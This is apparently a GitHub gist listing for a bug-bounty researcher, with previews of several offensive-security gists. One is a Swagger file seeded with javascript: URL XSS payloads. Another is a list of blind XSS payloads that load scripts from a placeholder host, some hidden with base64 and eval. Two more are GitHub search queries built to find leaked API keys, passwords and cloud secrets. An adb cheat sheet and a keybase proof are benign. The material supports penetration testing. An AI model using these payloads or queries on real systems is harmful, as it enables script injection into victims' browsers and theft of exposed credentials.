0xspade’s gists

0xspade / swaggerxss.json

Last active July 27, 2021 02:37

{"swagger":"2.0","info":{"description":"This is a sample server Petstore server. You can find out more about Swagger at [here](javascript:alert`1`) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters.","version":"1.0.0","title":"Swagger Petstore","termsOfService":"javascript:alert(2)//","contact":{"email":"[email protected]"},"license":{"name":"Apache 2.0","url":"javascript:confirm(document.domain)"}},"host":"localhost:4567","basePath":"/v2","tags":[{"name":"pet","description":"Everything about your Pets","externalDocs":{"description":"Find out more","url":"javascript:prompt(document.domain)"}},{"name":"store","description":"Access to Petstore orders"},{"name":"user","description":"Operations about user","externalDocs":{"description":"Find out more about our store","url":"http://swagger.io"}}],"schemes":["http"],"paths":{"/pet":{"post":{"tags":["pet"],"summary":"Add a new pet to the store","description":"","operati

0xspade / ultimate-params.txt

Created July 9, 2021 02:36

This file has been truncated, but you can view the full file.


	소팅순
	메인그룹
	!
	"
	""
	"{
	"}
	&

0xspade / gist:0f3ddcc84ed7f96967b46cb16194ae2a

Created November 5, 2020 03:54

Blind XSS Payloads

	'"><script src=https://changeme></script>
	'"><script/src=//changeme>
	<math><mtext><table><mglyph><style><!--</style><img title="--><script/src=//changeme>">
	<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img&Tab;src=1&Tab;onerror=document.location=`//changeme/xss`>">
	<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img&Tab;src=1&Tab;onerror=document.location=`//changeme/xss`>">
	javascript:eval('var a=document.createElement(\'script\');a.src=\'https://changeme\';document.body.appendChild(a)')
	"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbTMubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
	"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbTMubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
	"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vb

0xspade / AdbCommands

Created January 23, 2020 04:16 — forked from Pulimet/AdbCommands

Adb useful commands list

	adb help // List all comands

	== Adb Server
	adb kill-server
	adb start-server

	== Adb Reboot
	adb reboot
	adb reboot recovery
	adb reboot-bootloader

0xspade / grepcidr.py

Last active October 1, 2019 02:22

	#!/usr/bin/python3
	import ipaddr, socket, cfscrape

	site = 'site.com'
	class grepcidr():
	def __init__(self, networks=None):
	self.ipset = set()
	if networks:
	self.add(networks)

0xspade / keybase.md

Created September 12, 2019 02:56

Keybase proof

I hereby claim:

I am phspade on github.
I am 0xspade (https://keybase.io/0xspade) on keybase.
I have a public key ASBa8-tvRFpeYG76qMHuvQ4AOLXuUP7eA9Jtlv4kZVQ6Bgo

To claim this, I am signing this object:

0xspade / auto_git_query_fav

Created September 8, 2019 03:16 — forked from nullenc0de/auto_git_query_fav

Auto_git Favs

	https://github.com/search?q=\?AccessKeyId= OR _02ddd67d5586_key= OR 0HB_CODESIGN_GPG_PASS= OR 0HB_CODESIGN_KEY_PASS=&s=indexed&type=Code
	https://github.com/search?q=0VIRUSTOTAL_APIKEY= OR ACCESS KEY ID = OR ACCESS_KEY_ID= OR ACCESS_KEY_SECRET= OR ACCESS_KEY=&s=indexed&type=Code
	https://github.com/search?q=ACCESS_SECRET= OR ACCESSKEY= OR ACCESSKEYID= OR ADZERK_API_KEY= OR ALGOLIA_ADMIN_KEY_1=&s=indexed&type=Code
	https://github.com/search?q=ALGOLIA_ADMIN_KEY_2= OR ALGOLIA_ADMIN_KEY_MCM= OR ALGOLIA_API_KEY_MCM= OR ALGOLIA_API_KEY_SEARCH=&s=indexed&type=Code
	https://github.com/search?q=ALGOLIA_API_KEY= OR ALGOLIA_SEARCH_API_KEY= OR ALGOLIA_SEARCH_KEY_1= OR ALGOLIA_SEARCH_KEY=&s=indexed&type=Code
	https://github.com/search?q=ALIAS_PASS= OR ALICLOUD_ACCESS_KEY= OR ALICLOUD_SECRET_KEY= OR AMAZON_SECRET_ACCESS_KEY=&s=indexed&type=Code
	https://github.com/search?q=ANSIBLE_VAULT_PASSWORD= OR aos_key= OR API_KEY_MCM= OR API_KEY_SECRET= OR API_KEY_SID= OR API_KEY=&s=indexed&type=Code
	https://github.com/search?q=API_SECRE

0xspade / auto_git_query

Created September 8, 2019 03:15 — forked from nullenc0de/auto_git_query

Automated Github Queries (Can open 29 tabs at a time)

	https://github.com/search?q=BROWSER_STACK_ACCESS_KEY= OR BROWSER_STACK_USERNAME= OR browserConnectionEnabled= OR BROWSERSTACK_ACCESS_KEY=&s=indexed&type=Code
	https://github.com/search?q=CHROME_CLIENT_SECRET= OR CHROME_EXTENSION_ID= OR CHROME_REFRESH_TOKEN= OR CI_DEPLOY_PASSWORD= OR CI_DEPLOY_USER=&s=indexed&type=Code
	https://github.com/search?q=CLOUDAMQP_URL= OR CLOUDANT_APPLIANCE_DATABASE= OR CLOUDANT_ARCHIVED_DATABASE= OR CLOUDANT_AUDITED_DATABASE=&s=indexed&type=Code
	https://github.com/search?q=CLOUDANT_ORDER_DATABASE= OR CLOUDANT_PARSED_DATABASE= OR CLOUDANT_PASSWORD= OR CLOUDANT_PROCESSED_DATABASE=&s=indexed&type=Code
	https://github.com/search?q=CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN= OR CONTENTFUL_TEST_ORG_CMA_TOKEN= OR CONTENTFUL_V2_ACCESS_TOKEN=&s=indexed&type=Code
	https://github.com/search?q=-DSELION_BROWSER_RUN_HEADLESS= OR -DSELION_DOWNLOAD_DEPENDENCIES= OR -DSELION_SELENIUM_RUN_LOCALLY=&s=indexed&type=Code
	https://github.com/search?q=ELASTICSEARCH_PASSWORD= OR ELASTICSEARCH_USERNAME= OR EMAIL_NOTIFI

<<"Spade">> 0xspade

Keybase proof